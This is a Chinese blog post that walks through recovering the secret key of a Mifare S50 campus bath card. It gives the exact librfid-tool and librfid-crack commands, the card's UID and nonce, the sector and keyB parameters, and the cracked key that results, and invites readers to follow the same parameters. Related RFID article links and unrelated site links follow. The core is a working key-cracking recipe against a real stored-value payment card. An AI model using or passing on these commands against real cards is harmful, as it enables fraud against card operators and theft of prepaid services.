破解简单Mifare射频卡密钥杂记
先要了解一点大学城浴卡用的是什么卡,经查证是Mifare S50卡,也有叫ISO14443A的(协议名)。本来想看看大学城浴卡有没有安全漏洞,没想到浴卡公司在安全性上几乎是蔑视我们大学生的智商,虽然被破解了还继续用!而且这种破解很厉害,除了在线的(比如大学城的校园卡、公交卡),离线的系统基本没有可以抵挡这种破解。
当然要干这档事,总得有读写卡器吧,淘宝上一搜一大堆啊,120元左右一个。不过呢,我推荐一个国外叫OpenPCD小组的产品,毕竟人家不管是电路图还是软件统统开源嘛。他们项目的地址在
http://www.openpcd.org
样卡图片:
接下来是软件,因为都是USB连接的,所以Linux下没什么驱动问题,只缺需要一个库文件,执行svn co http://svn.gnumonks.org/trunk/librfid
下载编译后呢,就可以使用了。
然后在目录底下执行librfid-tool -s
获得每张卡(标签)的UID:
比如我的浴卡返回了SERIAL: (4): 91 5c c5 2f 33 56 a1 c9
我的浴卡UID是“91 5c c5 2f”,随机密码值“33 56 a1 c9”
然后是霸气的一条命令librfid-tool -d -s 91 5c c5 2f -n 33 56 a1 c9 -sp 18 -k2 FF FF FF FF FF FF
哦……忘了说了,Mifare卡的加密是两个密钥互相锁定!读写是一个个扇区进行的,不能一个个字节读写,所以有了
- -sp:据查,只有18扇区浴卡公司加了密,其他扇区都是没有意义的空值,所以扇区填18
- -k2:这个是keyB,也就是第二个密钥,好吧,我承认我实验了很多次才知道是keyB是关键。后面的12个F只是乱写的密钥,你也可以随便编。
- -d:其实是dump,原始数据返回,这里用来破解了
这条命令下去,hoho,返回了“RX (4) 6a 12 c9 0b”,(4)说明密码错误。
废话,不错误那我这文章写来干吗?当然这个返回值极度重要。
在下来是librdif-crack登场!librfid-crack -u 91 5c c5 2f -r 6a 12 c9 0b -sp 18 -k2 FF FF FF FF FF FF
好吧,我不多解释了,大家对着文档或者呃参数画虎吧。
我的浴卡返回值是:“Cracked: 02 10 66 36 80 80”
奇怪吧,怎么这么像电话号码,我查了查……还真是这家公司的电话号码,哎……
有了密钥后想干吗干吗了
所以啊,大家就不要问我怎么加值了,这个问题绝不回答!
破解简单Mifare射频卡密钥杂记的更多相关文章
- 由Mifare 1卡破解带来的危险以及应对方法
今年年初以来,一个消息的传出震惊了整个IC卡行业.最近,德国和美国的研究人员成功地破解了NXP的Mifare1芯片的安全算法.Mifare1芯片主要用于门禁系统访问控制卡,以及一些小额支付卡,应用范围 ...
- MIFARE系列6《射频卡与读写器的通讯》
1. 复位应答(Answer to request) 读写器呼叫磁场内的卡片,卡片对呼叫做出应答.对刚进入磁场得到电复位处于休闲状态的卡片,卡请求(REQA,0x26):对于已进行过读写操作并进入休眠 ...
- MIFARE系列6《射频卡与读写器的通信》
1. ATR(Answer to request) 读写器呼叫磁场内的卡片.卡片对呼叫做出应答. 对刚进入磁场得到电复位处于休闲状态的卡片,卡请求(REQA,0x26):对于已进行过读写操作并进入休眠 ...
- RC522射频卡读写模块驱动(仅读取)
目录 说明 测试结果 main RC522.h RC522.c 说明 更改了网上的源代码,仅保留了读取序列号并通过串口回传的功能.版本号:V1 感谢 https://blog.csdn.net/qq_ ...
- [原创]用逻辑嗅探破解接触式IC卡口令
最近两周对接触型IC卡很感兴趣,就动手实践了一下,最终实现的效果是通过破解IC卡口令实现对数据修改,然后就可以随意洗衣服喽~IC卡从数据传递方式上划分为接触型和非接触型两种.接触型的卡片表面有金属贴片 ...
- 射频识别技术漫谈(11)——Mifare系列卡的共性【worldsing笔记】
Mifare是NXP公司生产的一系列遵守ISO14443A标准的射频卡,包Mifare S50.Mifare S70.Mifare UltraLight.Mifare Pro.Mifare Desfi ...
- 射频识别技术漫谈(28)——基于MF1射频卡的酒店门锁设计
电子门锁是现代星级酒店管理电子化.智能化的重要电子设备.相较于传统的机械锁,基于RFID技术的电子门锁使用方便,易于管理,安全性高,可实现对开锁用户的分优先级自动管理,对房间入住信息实现自动统计与报表 ...
- 射频识别技术漫谈(11)——Mifare系列卡的共性
Mifare是NXP公司生产的一系列遵守ISO14443A标准的射频卡,包Mifare S50.Mifare S70.Mifare UltraLight.Mifare Pro.Mifare Desfi ...
- RFID射频卡超市购物结算系统
RFID射频卡超市购物结算系统 这段时间在做RFID射频卡超市购物结算系统,这个系统的设想来自于大学研究课题,但是我们在淘宝网上购买设备的时候淘宝店主都认为RF射频技术不好应用在超市购物结算系统,原因 ...
随机推荐
- [Unity3d][NGUI]两种思路解决AssetBundle的依赖关系.
接上文. 使用上文中的AssetBundle打包方式生成的文件包括了依赖关系中的文件. 一般的使用中并不会发现什么问题. 可是当配合NGUI的时候,使用dynamicFont时打包AssetBundl ...
- Mysql update error: Error Code: 1175. You are using safe update mode and you tried to update a table
Mysql update error: Error Code: 1175. You are using safe update mode and you tried to update a table ...
- Python之路,Day14 - It's time for Django
Python之路,Day14 - It's time for Django 本节内容 Django流程介绍 Django url Django view Django models Django ...
- python-Pickle序列化
[Python之旅]第三篇(二):Pickle序列化 python 序列化 pickle 摘要: 说明:关于Pickle的说明 作如下说明: 1 2 3 4 5 6 7 序列化的概念很简单 ...
- mac 查找当前目录下所有同一类型文件,并执行命令行
以TexturePacker举例 MAC下用TexturePacker命令行打包当前目录下所有的 *.tps文件 1.配置好tps文件需要配置好路径.参数等.(也可不配置,用命令行实现.具体参考:ht ...
- iOS在Cocoa Touch Static Library使用CocoaPods
1.在XCode中新建静态库工程:DDLogLib. 2.添加对外暴露接口的头文件DDLogLibHeader.h 3.命令行进入DDLogLib目录,运行pod init,并修改Podfile 4. ...
- Swift - 18 - 数组的基础操作
//: Playground - noun: a place where people can play import UIKit var str = "Hello, playground& ...
- 关于模板中的动态取值 ---反射与javascript脚本编译
在项目中经常遇到一个问题,打印word或者打印excel的时候,我们经常使用一对一的赋值或者批量替换的方式来对模板进行修改. 但是现在遇到两种场景: 1.取值是通过自定以方法进行取值的. 如:一个销售 ...
- Delphi 封装Frame到Dll文件
做项目的时候,发现这个Frame很好用,为了省空间.调用和修改方便,就将Frame封装到dll(动态链接库)里面,确实很好使. 效果图如下: 上图是临时测试用的,忘了将Frame的align设置成al ...
- java对mysql数据库进行单表筛选备份、还原操作
最近在做的一个项目需要对mysql数据库中的单个表格进行备份 其中,一部分表格需要进行筛选备份(例如对最近插入的1000条记录进行备份) 思路:java调用系统命令完成备份操作 假设现在有数据库tes ...